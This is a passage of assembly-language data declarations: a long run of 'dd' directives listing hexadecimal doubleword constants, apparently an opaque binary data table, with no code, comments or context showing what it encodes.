70A04030h, 5851605Eh, 0A96A10Dh, 37AD7F01h dd 5AFAD22Dh, 9F969D0h, 8A4A8581h, 49D9E020h, 7F003680h dd 0BFE677CEh, 542FD8h, 0A79C73DBh, 265E9F16h, 0CFE8526Fh dd 81E088F9h, 6778396Ah, 5ADACC3Fh, 0C6438B00h, 0F515194Dh dd 0BCA5581Eh, 3AE56610h, 98A69B94h, 50B87E48h, 0B2B8820h dd 0B3AA8FEAh, 0C4998A9h, 6F886079h, 0D3E08D04h, 20A317C2h dd 0B033F0E2h, 7BF930C3h, 4C3C00EFh, 5BDA4BEBh, 94000C97h dd 0D81A8679h, 18CC1B5Ch, 0A865AE5Dh, 212015EDh, 0A59E27E7h dd 0B908003Dh, 8DE64216h, 28202135h, 6A0096D5h, 814D11C8h dd 6A2E9CDDh, 846243D1h, 9D2523C0h, 44B93A87h, 88F81F80h dd 0F41D01h, 5FC66463h, 1EFE6ECEh, 0C9D45926h, 2370E700h dd 16F2B84Ch, 3A54C545h, 21A23F0h, 0A60C47Ch, 49E04841h dd 0ADC000ECh, 5C2E8BF3h, 0DE18EA7Ah, 30244FB1h, 0B940B7B0h dd 6501CF0Eh, 0BF241E1h, 80F204EFh, 0F5E02AC8h, 0DBD1C25Ah dd 0C06891D3h, 0A524D65Bh, 0EE1830B7h, 0F4C6821h, 56549715h dd 9747900h, 0A000F385h, 719AF8D7h, 48EE6DB4h, 0D3090462h dd 0F0107323h, 0F904C9FCh, 0B6AA7E76h, 0E100BCA2h, 82B850ABh dd 0F2007D65h, 78BA4EA7h, 1D3B93BEh, 4FF32EF1h, 40608849h dd 0D9A8D01Ah, 9B7ED700h, 12DA5D1Eh, 0C09876CDh, 0DBB57228h dd 66249E43h, 80B848D2h, 73CCC28Eh, 83E5DAEh, 0FAC8E5EDh dd 0A1034C00h, 3082470Eh, 5EE9754Ah, 9C045343h, 55EC6C35h dd 0ED8BF680h, 0D22400D7h, 0D470CBB0h, 9E1E08C3h, 3F42F3B5h dd 0C1B17871h, 0DC506960h, 6341DF03h, 467468E2h, 0DAEAF100h dd 697F7D81h, 3DC91E8h, 962265CCh, 204BB001h, 0D7790FCAh dd 0E95291F8h, 0C908F0h, 504DD298h, 0DD1F3B57h, 321DD1FEh dd 0DC00BD55h, 0A0B6EE7Dh, 0D3F03DBh, 1D91793Eh, 21C20830h dd 0A0EE84h, 0E91E42B5h, 0D8D7180Bh, 5DC0F400h, 0D10E7DE0h dd 729A0059h, 6773EEAFh, 2D08F265h, 0DCE7E9h, 0A51F3C58h dd 220021D5h, 0BBFBBE42h, 2473526Ch, 1B876F5h, 87B8C762h dd 60E8F495h, 80C31774h, 0C3D502F0h, 33AECB81h, 0E201160h dd 0C95E06A4h, 0A9D01A9h, 9A211E20h, 0D3CAF0ADh, 0D16018C2h dd 0B578902Dh, 3FDA08A0h, 0C3643DC5h, 0A0ED405Ch, 760FD348h dd 0C5D24A00h, 0E256F04Ch, 61A8C13Dh, 8FD3F3EDh, 2AE7AE31h dd 7B3C847Ch, 0CC052107h, 62C380C6h, 6CA9056Fh, 5DDAE3Ah dd 40ED3988h, 6FB4BB9Ch, 230086D2h, 0BE5341Ah, 240814h dd 79B74FAFh, 2220FDEh, 1D617860h, 738793B0h, 0E1740CFEh dd 69087BE6h, 0B82669C7h, 66BBD9D0h, 20E0A1h, 1938D2BEh dd 17E9BC0Fh, 0CCA8DCE4h, 0B8008771h, 192E5981h, 0CC1E52BDh dd 13A97608h, 0ADB82C2Ch, 14E3EA01h, 21DC1123h, 7E0231ADh dd 0D0C78971h, 4D00A679h, 0B7EF9484h, 0A428E9BAh, 0FEB8FA34h dd 22864659h, 31140EA9h, 9780D8B8h, 0F439ECF8h, 0B2F90A8h dd 0D7408ECh, 0C7DE2C00h, 56913A57h, 0D0EC375Eh, 0D4C5F060h dd 481DCD4Bh, 0C7C09B51h, 94821AD7h, 0DC250069h, 54ED2776h dd 7D0896D9h, 80E140B4h, 0B6F9DB3Ch, 9B07C876h, 9D3869D4h dd 213146h, 0CEFA2322h, 7A66CDC2h, 5409D3F8h, 0EFEE619h dd 0BF09D05Ch, 8B01055Eh, 2429F9ECh, 0F3F6110Ch, 0DEF41000h dd 51D2BD5Bh, 0F8C1F427h, 9061D9FEh, 42E1881h, 3076E9FAh dd 2046329Dh, 37FA1629h, 0E7B67400h, 54D7CC10h, 12DF7112h dd 3001EF0Fh, 8893AF14h, 7D8BFE10h, 338063C8h, 49E793B7h dd 5BE8291Dh, 3B6C05E8h dd 0BFDC40DDh, 0D46459A3h, 4EF0B406h, 6F1F94Ah, 923D4D78h dd 0EE4678E3h, 8B93AC02h, 1A3173FEh, 93B43210h, 0E5D3AB0Eh dd 0A44EC020h, 0A364C6Ah, 65EEF655h, 5690098h, 0F0211C41h dd 0C35EC03Fh, 0CA3045F2h, 0B9DF00D8h, 154FC94Dh, 6C00443Fh dd 0F17B374Eh, 38F3286Dh, 12A85773h, 0D25E2A64h, 0EFDF00E4h dd 1A152B41h, 0D300128Ch, 5546DD62h, 0CA07134Eh, 118489B0h dd 938287E4h, 7483FEC1h, 3888610Ch, 0F89301AAh, 0E07A81CAh dd 0E8DDC014h, 22806899h, 0C131272Dh, 0EAE2008Dh, 6F7F594Eh dd 7B0066C7h, 0E3AB5BFCh, 3548C85h, 5ECB7D6Ch, 90000BCFh dd 39FAAC53h, 0C5F6DCh, 8F8A2A1h, 15C221DDh, 0E0D3672Ch dd 3EEA4030h, 587D60F6h, 0F2F8BB7Ch, 990BDE03h, 0EA949154h dd 25B8B07Eh, 76E811FAh, 80438838h, 42FA2D1Ch, 0C33BB670h dd 49EC83A2h, 0C92E84B1h, 21F85EBEh, 0C68600BCh, 0F6C86B47h dd 8948B35Ch, 550E1229h, 5FE83004h, 28C6A8C8h, 0ED49451h dd 7343BE3Ah, 10602F36h, 49C0D0F9h, 66DB9D57h, 7B5A0500h dd 0E3ADA61Dh, 634675B4h, 726D78DEh, 0E9BBC809h, 8B60B023h dd 59AD10B8h, 301FE08Eh, 0B12600B8h, 51D9816Dh, 64C7405h dd 0C1562000h, 0FFF7D149h, 49B980C5h, 0ED789F4Eh, 917348DEh dd 0D75DD3Bh, 8D74F0Eh, 0DB81F038h, 6718E660h, 157CB05Ch dd 94DC9A74h, 11725E08h, 0D66C7E03h, 0C0186D57h, 5BF928h dd 50AA5Ch, 0D4B1B60Ch, 4E34482Ah, 0CCEFDCFEh, 390027B2h dd 796FA27Dh, 0BDEE36h, 58F23246h, 0AF7BCB8Fh, 4BDB620Eh dd 0B803DF9Fh, 80480ACFh, 33A9A6h, 0C1D41AEh, 2C388FBFh dd 0E45B641Dh, 2899CAC0h, 7EA6ACBh, 74CBBDEh, 3CD920CCh dd 0AC000B0Ch, 71D66708h, 7465C7h, 4D8819ABh, 83AE7625h dd 116A3334h, 93E0046Bh, 227C7BA3h, 3B85000h, 0D0AE7284h dd 3EC3724Ch, 7F3B922Dh, 973E9383h, 0D9C169CFh, 1429902Ah dd 484E6584h, 1354292h, 2F94E822h, 0F642E25Ch, 112BAD11h dd 447D950Ch, 22848A58h, 4060090Bh, 8AB06C79h, 1F90703Ah dd 8052AA0Fh, 0F28E3C48h, 6C0EB818h, 0A00E7EACh, 171C666Dh dd 0F4B702EEh, 152397AEh, 0BA03ABE0h, 0F04AD41Ch, 3FE00100h dd 20C569h, 9CEC4D7h, 0AF8D836Ah, 3904F900h, 0F88F0B84h dd 70FB0063h, 1A642712h, 5100D10Dh, 0A9799D7Eh, 0E91C3A8h dd 0C7398FBh, 8346CC0h, 0FA00E365h, 0EFA1506Dh, 1420CC9Fh dd 0C48AE631h, 7F7070h, 89BA6E40h, 1D3A8F39h, 484C5830h dd 7672098Ah, 2B00F171h, 0FC1B4EEEh, 0F0104D62h, 7AA96F51h dd 54FF0115h, 0BD4814B9h, 58F44024h, 2D001E03h, 9EB8052Eh dd 0E14285Fh, 41571FDBh, 7AE2920h, 0A30065EDh, 471ECAA5h dd 7B0BF08Ah, 0E40600F7h, 9A7D78AAh, 100E8EAh, 2774AECCh dd 736B27Eh, 4131D82Eh, 5F44D049h, 0AD03F5AFh, 463EF477h dd 0DC38007Eh, 1D42055Ch, 5E00041Fh, 974CF315h, 0F32BB7Fh dd 82675091h, 0F5D0A860h, 0E7008E98h, 0AE2464B7h, 1D463573h dd 80CA6588h, 51F8B209h, 0AA008BB6h, 0FD031B16h, 755FE4h dd 683C991Ch, 64F18CD3h, 0F3CBBA00h, 0E8FF6D57h, 70A001Fh dd 5A14E11Ch, 200030Bh, 94BE38A3h, 4842523Ah, 0F5168C41h dd 0BB1407D9h, 9C11F079h, 63006087h, 1705733Ah, 8D959Eh dd 0A8D323F5h, 3B82C767h, 0E592870Fh, 42072065h, 1ECDC4FBh dd 833722FFh, 0E6D61520h, 0F1F747F8h, 0A159E907h, 1EA0562Ch dd 9B686Ah, 28B96C5Ah, 38905788h, 0D03EE900h, 0A4197C82h dd 27F6E0h, 5320234Fh, 25ADB88h, 0EC4A9E1Fh, 0CBD44200h dd 0EAF860h, 0C5657B90h, 1328D66Bh, 0B1B93E00h, 7DAC419Eh dd 3C994812h, 88A0FD3Ch, 0EC047B00h, 65062A7Ch, 2DAF38E2h dd 0CA48A01h, 0F8DFD0A6h, 131C349Ah, 0E41F6838h, 0EDC93F80h dd 390EA3h, 4E1AFAE8h, 52EC07CFh, 6E0CB007h, 7773A944h dd 0E8758060h, 121FE285h, 0B343C9h, 0F4D14408h, 0F900EC3Ch dd 0AFD5282Ah, 0C798F6h, 6A3B8F8Ch, 359F31A9h, 0A607F001h dd 8851D33Ch, 0DB49E4h, 0F9E07032h, 0BFDF4B63h, 100AC48h dd 94B7C7FDh, 0EE4040B6h, 0F848AA15h, 4A1A0E63h, 0B763CE89h dd 193E3D39h, 95F280FBh, 19DB0D96h, 1CD742Fh, 0A75CD422h dd 0F89E32CBh, 9001DD4Eh, 5F87924Fh, 16C8A5F6h, 3AAC9021h dd 0B80006DBh, 681A5642h, 6C7A4FD9h, 204C5400h, 6DA1D82Ah dd 7EBDFCACh, 0C47B0017h, 75EB6A05h, 11C04ECCh, 216BED5Ch dd 65D1053Eh, 0C0E36428h, 0F0C33F7Eh, 41D7421Ch, 0A79CEC7h dd 0C1EEE817h, 0EDD59AA8h, 70DD01C4h, 6BBC0045h, 0DBF63B73h dd 1D00E772h, 0F166ECF2h, 60DE088Dh, 0E0B686CEh, 6301774Dh dd 0FD210327h, 0E9D0A2E8h, 3BC30065h, 2F8E1DF5h, 0A63516Bh dd 0E88A720Ch, 301714B8h, 4EF82378h, 0E43AC171h, 571880BAh dd 0D6AD1960h, 0F34B1210h, 512C0086h, 402721C4h, 0FE1456E6h dd 0FC8A4Fh, 5E9D3D63h, 38D65Ah, 69819EC9h, 0A15F10CBh dd 2EDD4202h, 80F43907h, 8D325184h, 89280077h, 92D404EAh dd 663FA2BDh, 977B079Fh, 606075C9h, 0F132B15h, 23F39EEAh dd 0CC2DE463h, 0E74CA788h, 0D151641Ch, 9E33F600h, 9B9FB7h dd 0C124A4B6h, 775A8F5Fh, 8DBD0804h, 0BC8015FDh, 1286F6A1h dd 0EB74B6h, 0E48FAD8h, 400DF3Eh, 0BC7208A5h, 48E4FE43h dd 0A43B227Dh, 1279D800h, 574533EDh, 0CB475E1Dh, 0F6511440h dd 7C274BAFh, 773400C6h, 0A644E6B4h, 0C75064BEh, 0F300FCE7h dd 9FF6863Fh, 0EC9B1A7Fh, 503E0026h, 58C0A0C5h, 0FF0044D3h dd 0F5BF7329h, 0A1E7C3h, 8C8BED3Dh, 0F23E91BCh, 20791200h dd 0D6BE70C8h, 0ADDB0054h, 394823B6h, 11EC8E92h, 387BE0E2h dd 0C5327802h, 409D14F6h, 72CAABh, 0B4C41528h, 0C0302473h dd 8F44381Ch, 2D6DA480h, 0D336C3h, 0E5B13E47h, 0D75F74BBh dd 0E39F0101h, 49B27FFCh, 1AEC1021h, 0FE241C16h, 66BB80D1h dd 0F0921832h, 0BDF4C700h, 5ACA277Ch, 0AAAF00A6h, 52E007EEh dd 892890C6h, 0C80108B0h, 0F485608Ah, 0B4603B35h, 942F01E3h dd 4F9BC3B4h, 37D4603Eh, 8935BE3Ch, 824EA23Fh, 403995E0h dd 585C60h, 0E73C31CAh, 53D9C27Fh, 3E36A416h, 444C5000h dd 0FE08C633h, 27E80362h, 4785C530h, 5CA822A8h, 435E6E00h dd 0FE4144D7h, 0C5E609D5h, 0AC185725h, 857C3F05h, 0CA3F28B0h dd 0F0090F37h, 2EC800BEh, 0E7A5EAh, 40C00A65h, 851C2C34h dd 0E4F41100h, 92F0D00Dh, 6090B0h, 0B486EF47h, 0CEAC7EA2h dd 0BF42EB00h, 0C1DDA90Ch, 0C99D00A8h, 1084B5Ah, 0A00E1321h dd 800DB5B3h, 0EED2EB3Eh, 512300A4h, 0D177ED91h, 5C3ED8F0h dd 9A9900A3h, 3A767D95h, 92C00009h, 8321C614h, 1200B797h dd 131E1618h, 2E7EEA8h, 0DAC1200Ah, 0E4804D46h, 47B9B5ABh dd 8A16327Eh, 0D800A218h, 89DD0495h, 91A8001Ah, 4BCA7BBDh dd 0CB30BFA7h, 0A65C3256h, 0AB08A09Bh, 389C0246h, 2537612Eh dd 0E86BE480h, 0ED80C272h, 30C90217h, 491C08FFh, 5CE1460h dd 0F5BD0200h, 0E63B5DB6h, 0F20F188Bh, 0E5E4216Ch, 839BE83Dh dd 46ACD225h, 1F09915Fh, 4FBA310h, 0E279AD75h, 0C1D5Ch dd 0EF267F21h, 7F70A69h, 8108CE88h, 0E60506Fh, 84F215C4h dd 80C87C00h, 0C66FCD3h, 1801FC47h, 0B822A176h, 6700C324h dd 9A327FC2h, 7CE4233Dh, 0F1610063h, 27C5DA01h, 380016CCh dd 62FA8145h, 1E4CBC89h dd 0A43249A3h, 22051750h, 38C06900h, 0AF00D7ACh, 0F5632A92h dd 0E5AE27h, 394A55Dh, 0B216F7F6h, 83776A0Eh, 308F435h dd 600F8175h, 1290A907h, 24B53070h, 17504735h, 11EB017Ah dd 70C94D9Fh, 0A301C43Ch, 0ABF1186Dh, 3EEC4C1Ch, 7C2B005Fh dd 24F057E1h, 227E7782h, 0B8B52900h, 0F79FCB5Eh, 0A04B0493h dd 0C2844F2Fh, 98101FECh, 629CA810h, 2A6F009Ch, 45E20D86h dd 313C52A0h, 3D03F0D0h, 18BE4115h, 0FF8FB17Fh, 24A170h dd 82B46FA4h, 56E467B9h, 0FA1DC80Fh, 2ED54192h, 50706BDEh dd 0B8D67930h, 22FC03C0h, 1A827121h, 8AA626F8h, 2A7E3A00h dd 1B0694B2h, 0A0AE00A4h, 6DC6F14Fh, 9A0089BAh, 83E7F314h dd 0F4E99B74h, 5033E99h, 0F99426h, 0EEC55CC0h, 2600B775h dd 96CB8C10h, 3643E6Eh, 0F1FFAEF3h, 0F8042CDFh, 94CC9F6Ah dd 0B39CB0h, 7FC7336Ch, 70EBCFABh, 8F1B0301h, 10B0D0F1h dd 0E026E2E0h, 0D9D801C1h, 0F84FD15Eh, 0DCFE6132h, 33004599h dd 0A6154956h, 0C9DFB1Bh, 22574BA1h, 9000D260h, 0EFC42A1Fh dd 79E0EDD3h, 69B8016Eh, 0F2AE48EAh, 870CD17Ch, 277E2E99h dd 47A73DD0h, 2D1008Eh, 0AAB6D719h, 703CFBE9h, 0C7980ACh dd 93D2CA83h, 30210028h, 401BB8Bh, 2F034F9Ah, 6C1215EDh dd 83C0EC72h, 5ABB35Fh, 4BA3049Ch, 0EBECC064h, 0AD792FFFh dd 762EA701h, 9641D2EFh, 0CFE0C0h, 4D741678h, 0AD0C80F7h dd 1336E60Eh, 909E40CBh, 250BD40Fh, 78877B58h, 57DF628Fh dd 55D02040h, 6B50F607h, 8049E733h, 48825F19h, 5AE6B1h dd 0B94E9E7Ah, 69F0B6EAh, 4171A07Ch, 26B8E600h, 9BD95D60h dd 301A72C9h, 2241F205h, 0B61E5828h, 130C9F8Dh, 54BF90D7h dd 0FEE89C37h, 81E30EC2h, 0A5A12D0Ah, 2868FC5Dh, 49DB098Ch dd 6A060BEh, 7E1F2A8Eh, 0ED5F00E0h, 6D62904Ch, 0D4F76CCDh dd 1F00E23Ch, 4188B6F1h, 2823AFh, 78AD03CFh, 0D28F928Ch dd 0A67CEC12h, 68FAAA00h, 373BAC8h, 971C5BBEh, 782869FDh dd 1F0F8461h, 0E00AD4DEh, 52E7C5C4h, 78E90086h, 51089BAAh dd 0C8A05D1Dh, 9C285B21h, 7C92C649h, 402B2C07h, 80CE0D46h dd 0DF347FFBh, 1A8507BAh, 50C27Dh, 0E77E269Dh, 0C3F8C4A8h dd 0E39DA07h, 3C006763h, 10EC02CCh, 0C804F1h, 0E9247533h dd 0F70B0Ah, 32CCC8Eh, 2D6B7A38h, 439F080Fh, 2A6C2029h dd 1EB928h, 0A3BC33F8h, 87185096h, 0CCE0B8A8h, 0A0F449h dd 3EB6D652h, 0E8C0A84Bh, 10D0C048h, 0C1B8EB54h, 4C169400h dd 0B54A9B66h, 0D628065Fh, 282F40EDh, 0C206D490h, 172E1337h dd 0D93900F8h, 2390E0C5h, 0D8A02577h, 9027F2Ah, 31D6338Fh dd 1C4354h, 0DE3879D0h, 0C2C77D9Dh, 4CBF3900h, 203F457Ch dd 0CCF8A950h, 6B26FC38h, 0C69A02B4h, 2C48AD2Ah, 4202338Bh dd 9BDD0B5Ah, 628C8F8h, 85BB26E4h, 945400E7h, 0C9381274h dd 0FFA1D7Fh, 65620400h, 39AA80C5h, 0D9F9005Ah, 82F3FFA1h dd 0E9056C34h, 7994EC61h, 814CCC49h, 0FE0175B4h, 1B5E798Fh dd 0AEBE9360h, 5C407A55h, 321C067Dh, 70A87C85h, 9E000CE2h dd 0BF6CEA06h, 1CB5169h, 547A5BF3h, 0E6D36664h, 0D203060h dd 3681C506h, 28B0F4h, 3AD87FB4h, 8B9AFA0Bh, 1E86400h dd 0BDE62283h, 5553759Eh, 34A7E0BBh, 0E7B82401h, 244570AAh dd 0A20ED490h, 72F3Bh, 0F03086C4h, 37E0048h, 0BA890E78h dd 6E02695Ah, 0A2971BE9h, 7AE88767h, 0F7BFB650h, 1D8E0028h dd 0EC7F17A7h, 0C9001C24h, 9883FC44h, 0CBABDEh, 57ACDB0Ah dd 0BB63661Ah, 0E580DF01h, 0A84A797Fh, 1700283Ch, 0A5B21521h dd 0F40082D4h, 0BF708098h, 0D2DA27h, 0D034F751h, 0DC160877h dd 0E5A52F00h, 0CFC37221h, 5D240083h, 51368B91h, 0FF187B8Dh dd 23F84E2Eh, 0A0A21ECFh, 2022005Ah, 0AE64D8DAh, 28244C18h dd 0A6CB12h, 7FC572B4h, 0FDBC7392h, 3D28F9B8h, 0A3000874h dd 58C953FEh, 0B8198DF9h, 0F050FA2Ch, 0A6F000C3h, 0DAACB6BCh dd 8500C532h, 0C17E533Bh, 491496D6h, 0EC3AF428h, 0BE220A80h dd 0EDB46EF0h, 0D34D6D00h, 0CD7FB723h, 0D2C0051h, 471AE057h dd 0EC0B7117h, 87699072h, 14F2B3C6h, 28184091h, 0BEA80BC7h dd 158010FAh, 0D63F57Ah, 407CD200h, 41A751B3h, 9E86Ah dd 8558A246h, 477B759Fh, 5F1E44F6h, 0C142E46Dh, 80294CA9h dd 0F838EAE8h, 0FD207C5h, 70CC3F1Eh, 4C98DFEBh, 6275CB2Eh dd 232ADB00h, 4866E247h, 0D9005BE3h, 79F69C25h, 0EEB80991h dd 1FC275Ch, 0D6E9A6B0h, 906404FAh, 485312CAh, 9380055Fh dd 102F83F8h, 6F0010EEh, 1C03F29h, 3DE34E7Bh, 0D481469Dh dd 89C591FBh, 5F0C70BDh, 0BA771002h, 60B35680h, 2533C6Ch dd 0B4935C54h, 5B608519h, 0DF012A7Bh, 86741444h, 0C420C188h dd 76821F4Fh, 372C8047h, 5AE8F249h, 2DDD7F0Ah, 3BED053h dd 0AAAE0868h, 0E045D3C4h, 0E3A97D5h, 857824DEh, 80840E27h dd 59D7EF6Eh, 0BE4ACA00h, 4B65ACD1h, 7619121Dh, 146C8235h dd 0D60D36C0h, 0A4226E00h, 0C2B4E57Fh, 0BC041DA3h, 85A6C106h dd 6046BA2Ch, 0DBF4C8DCh, 1170984Ch, 0E00218A5h, 457AEC04h dd 0A4000458h, 916420D9h, 4AB13A2h, 988856CDh, 3768D2C8h dd 0F4D91FC0h, 0CB64E316h, 90FD0881h, 0C198F0h, 0E72CD22h dd 0F0E36501h, 6B9E3300h, 20CCA0CBh, 8B7D2637h, 0C6C90964h dd 834F1848h, 8F197C00h, 0D185379Ch, 499E1CB4h, 4844D894h dd 1500CBF2h, 582B231Bh, 7B8C2DECh, 0AE7E001Fh, 3F0C8713h dd 0E5006F28h, 96A5BA91h, 12816088h, 13539DAFh, 89A44085h dd 662E27Ah, 970EB909h, 877C808Eh, 26B05FA4h, 40F0CF4Fh dd 1C25FA72h, 5BA1A300h, 711AAD7Eh, 0F3DD010Ch, 3DA29FEBh dd 0DB55F863h, 801D9E01h, 0C55AA691h, 0BB00303Dh, 254593C3h dd 0DB284666h, 0C13A011h, 0F008E14h, 0A30205F8h, 4E1A00FBh dd 0D9B496DFh, 7B18213Dh, 0E431CB52h, 991D2684h, 0E67C4090h dd 2B011280h, 47C927A5h, 0AAECC208h, 0F3700FAh, 0DCA0C0A2h dd 7B0E7103h, 4F40B65Eh, 281C7360h, 0FFA801BEh, 0F6959FF8h dd 435FC4h, 0B6948321h, 0EE87AF07h, 0D1B84700h, 6DB3AC02h dd 93241F22h, 7B4440A6h, 0B8E57E68h, 9BE8F89Ah, 141EB300h dd 5EED65CDh, 10B1019Ah, 0E49386F2h, 97C6C68h, 0C874D9EFh dd 0AAF8BCh, 0A251CF03h, 80CE0440h, 7CBBC501h, 694BCC6Dh dd 0F645DCDCh, 2D567CCFh, 1400AE98h, 0BF0DB5BEh, 32AA9500h dd 0E0872213h, 45C32D68h, 0F9DD2C10h, 0BC91360Bh, 0FF94C03Fh dd 90E7082Fh, 1600449Ah, 8BB5F44Bh, 104C90A1h, 27882B45h dd 0DE41803h, 0E080FF1Dh, 8EBC6ADAh, 8F260711h, 5828683Bh dd 727474EFh, 188A4Ch, 0D97A2BBh, 9D6C23h, 32956BBCh, 0EE7B300Ah dd 9464C700h, 0F479747Eh, 0A93C585Eh, 0A9884803h, 404C98F6h dd 3F90009Ch, 0C3752924h, 436A0030h, 0F70DA448h, 76001B2Bh dd 844227C9h, 7FC1AEh, 7222DAA0h, 50D96F1Dh, 0CC7AC801h dd 0FCBFEC0Dh, 0E156F0h, 23D7AB37h, 16ADB564h, 0F07D3E30h dd 79A6EF6h, 0B89E566h, 9C708014h, 93B8E684h, 0B8240E30h dd 4BCD5Ah, 0CC4EC1F8h, 59876A56h, 6C08C550h, 0EA578100h dd 200708D4h, 3951006Eh, 0E3B852EDh, 5400DABEh, 0AC89166Ah dd 0D59F33h, 0B4FF9C37h, 0F312C144h, 8B025077h, 0ECF1EA97h dd 0B349607Ch, 0D41E05AFh, 0D02A305Fh, 7D253AE8h, 2D6DA807h dd 4A902621h dd 1387CFh, 3D9DA45Fh, 172F4129h, 2BD07300h, 55F9A550h dd 15B200F0h, 26D1761Eh, 0AB017C6Ah, 0E05BD6A2h, 0A02FEA98h dd 83012EB4h, 61828117h, 60DA9C71h, 1277AEB8h, 0B8F251h dd 0FA498741h, 0AA093BE3h, 0C1E78CACh, 6BC80110h, 887291h dd 4063BA26h, 0C4ECE42h, 4607D600h, 608973EFh, 4B040718h dd 0E0176916h, 0F6679E75h, 50AC0600h, 80F7E079h, 5B77011Bh dd 0E73E41D7h, 5C10807Fh, 1DE146D6h, 1C76003Bh, 0C1DDD512h dd 30003C0Dh, 0C6509444h, 0FC655AD0h, 0D8C80036h, 7A599F9Bh dd 52460B5h, 480DC32h, 69B9C766h, 834B12AFh, 40B05FB4h dd 0CEE11C86h, 0BD016057h, 1A977410h, 81D453C2h, 957107E5h dd 5059F01Ch, 908539B8h, 5F9C1800h, 878FB26Fh, 80B60092h dd 50A5FD6Dh, 7A58FC12h, 410500D0h, 0A4B38171h, 83F825A1h dd 5CFD0081h, 0ADD01751h, 1DCB3067h, 63C643Eh, 2849894Ah dd 0ACC88807h, 71800735h, 7B61AFCEh, 4852006Eh, 2BEEF3FBh dd 511FF7A3h, 5800BA1h, 66E5A046h, 369024CDh, 0CBEB8AF0h dd 70CE0228h, 36010AD6h, 0FDF838E1h, 4C9F30F5h, 5942291h dd 0CDE87F00h, 0CF6E19C9h, 58895007h, 3560C07Ch, 0AE83F6D9h dd 0C2FC8001h, 5A62CF4Ch, 381AECh, 497C828Bh, 34063367h dd 9683B000h, 0E32302A9h, 0EFF40726h, 70367D44h, 18DD3BFBh dd 0F37AEB00h, 411BD212h, 747A4Eh, 0CFBB461Dh, 38677310h dd 0B88CF002h, 607E32E6h, 3B1F7Dh, 0B5DA3371h, 0F462D5DEh dd 0CC0E25E4h, 153F43h, 7784CD82h, 45120092h, 36A1EAB1h dd 0BD704339h, 8B390A8h, 470C4A74h, 0E924A572h, 31382ADDh dd 480509D8h, 0E060FFAAh, 60005AB5h, 0F3DE7489h, 3B690h dd 55D40D0h, 0E52595E3h, 0DD07C80Fh, 11DE80D5h, 0D189A2h dd 0C11942B6h, 7BA51B3h, 290C5300h, 0A123B5EEh, 145E5330h dd 0E0881B80h, 0F011CB9Eh, 4BA02806h, 7D0097D8h, 0F59ED33Dh dd 34FC903h, 0EECE0DE6h, 0B7985AFEh, 0A87C9344h, 634A5523h dd 70382D07h, 7441A9EFh, 280938C0h, 0FECB003Bh, 0D0C9C3C7h dd 0E07593EDh, 0E71583Dh, 0A42B4E9h, 0C05B349Ch, 2D0AB25h dd 0FF62C7F7h, 2098ECEFh, 0D80AD34Ch, 44EAE4B7h, 70ECC072h dd 4AA52ABFh, 0CC0200E0h, 7BEA143Ah, 8138AC41h, 9E2A0077h dd 0AA35586Dh, 0B009231h, 7F5A838Ah, 0C86CBD00h, 0AC909B67h dd 0DCBE2900h, 25D96A21h, 8059DE22h, 0BB23E9C9h, 0C001EE95h dd 5807E220h, 12F032EDh, 0C59B03A3h, 2EE3FE06h, 390050ABh dd 32C72D2Fh, 0DE93A3h, 0C37DB49Bh, 853FAAB6h, 39309C06h dd 28697BAFh, 6449AEh, 0F8470A65h, 0DFA6A808h, 79D38512h dd 0E5EC40A0h, 570570h, 180DA8Ch, 0BA3B8A61h, 0F0445209h dd 0DE007535h, 0AE250FBh, 2E04A9B0h, 32332FA2h, 9DD044C1h dd 5030D4D9h, 1FA009D6h, 4600AE21h, 7BFD1470h, 0C2282FE8h dd 4C7CB0A3h, 273E4F07h, 0D2E5D759h, 0C1CA00ABh, 58B37EC6h dd 7FFF451Fh, 0FC1F1D17h, 57FD6501h, 0DCD0539Bh, 1A3F00C3h dd 0B1C76DA6h, 0C033CF48h, 37808B9h, 0A6218021h, 0FE830DEh dd 17A1BFAh, 0F5DDD20Bh, 7F9D0313h, 0FF44E0BFh, 3E6500ACh dd 81C322FDh, 0DFE8E64Ch, 693CFE00h, 7F801415h, 67F90E32h dd 0EF8C348Eh, 11012621h, 2CB81B15h, 9BE47FB5h, 0FF81C048h dd 533740BEh, 6CE6511Ch, 38DD288Dh, 39D8AB21h, 4B51211h dd 1B4700B7h, 2CC19647h, 1218EE7Ch, 0DF49D253h, 3C33011Dh dd 4A182ED3h, 710C4052h, 6F7CB1CFh, 0A1C4E706h, 120DEF5h dd 0E124A07Dh, 0B2C0C3AFh, 30ADD8E0h, 2810156Dh, 2AE31F80h dd 0CEC10FFh, 3A01D7B9h, 0AEC71F70h, 0CC414ABBh, 3CBE639h dd 8B617D89h, 5E01060h, 0B50ECA1Ch, 0B887A3F2h, 4052C198h dd 0A87978DFh, 0FE8E400h, 0E1A4EFB0h, 9EA1079Bh, 2410A7h dd 0BD0766C5h, 4D5D7112h, 1EDDF800h, 506F43h, 0EF41E052h dd 4C9E2289h, 3CF56C00h, 1667E181h, 0B47464h, 35793F42h dd 48EDDD3Eh, 0A93855FEh, 0C3B80045h, 0D104BE2Eh, 2FC0033h dd 69BA73C7h, 75E26E94h, 9CF9A80Fh, 9308E0F4h, 46C84Fh dd 0C7FD3832h, 0CE40D558h, 52921500h, 0E1A85C98h, 0F5CB0028h dd 0F2B7B584h, 11398EEBh, 24C500FCh, 0AA22D5D6h, 6E7E0026h dd 40394285h, 9AFEF799h, 53A52900h, 0BD44DB90h, 86C81F95h dd 0EC4900C9h, 9EFB2739h, 0F0FCBA7Ch, 130C41FDh, 8C9C0846h dd 0E821F642h, 44F99788h, 25844594h, 4F186986h, 6047FC9Bh dd 0C55EF718h, 19A0C048h, 2F3403B9h, 3E6B6A18h, 24605421h dd 6908E31h, 18C7C1BDh, 0A186821Dh, 3B573931h, 3C5CD2F8h dd 3401C450h, 6A42BB93h, 0E0D3F43Ah, 99F88319h, 0A02BA430h dd 8A1EB20h, 0D384E08Ch, 0E13C71C0h, 3CD2C147h, 9806E527h dd 0C99DBCA5h, 7C430608h, 4AE20A20h, 23AE80ACh, 0C7DCE6E7h dd 0A11F510Bh, 3F2303B1h, 55C684F7h, 0A8E90029h, 8D5BBC86h dd 0C41DA59Ch, 5A1B9BCEh, 8750F021h, 0CB801EEAh, 9CE7410Dh dd 11E1334Dh, 0CE87159Fh, 2F9DE3F0h, 0A741E4A3h, 0C51D90BEh dd 0F4C01C5Bh, 0CF3F05F7h, 0EB0F0076h, 95850693h, 16F8F8A5h dd 0C0B8BC51h, 0C4006FF6h, 5F4B969Dh, 15F8267Bh, 0AC93E992h dd 3F229A00h, 80701E30h, 4B97100Eh, 32774608h, 48C01F70h dd 31A85852h, 44008BFAh, 0E335202Eh, 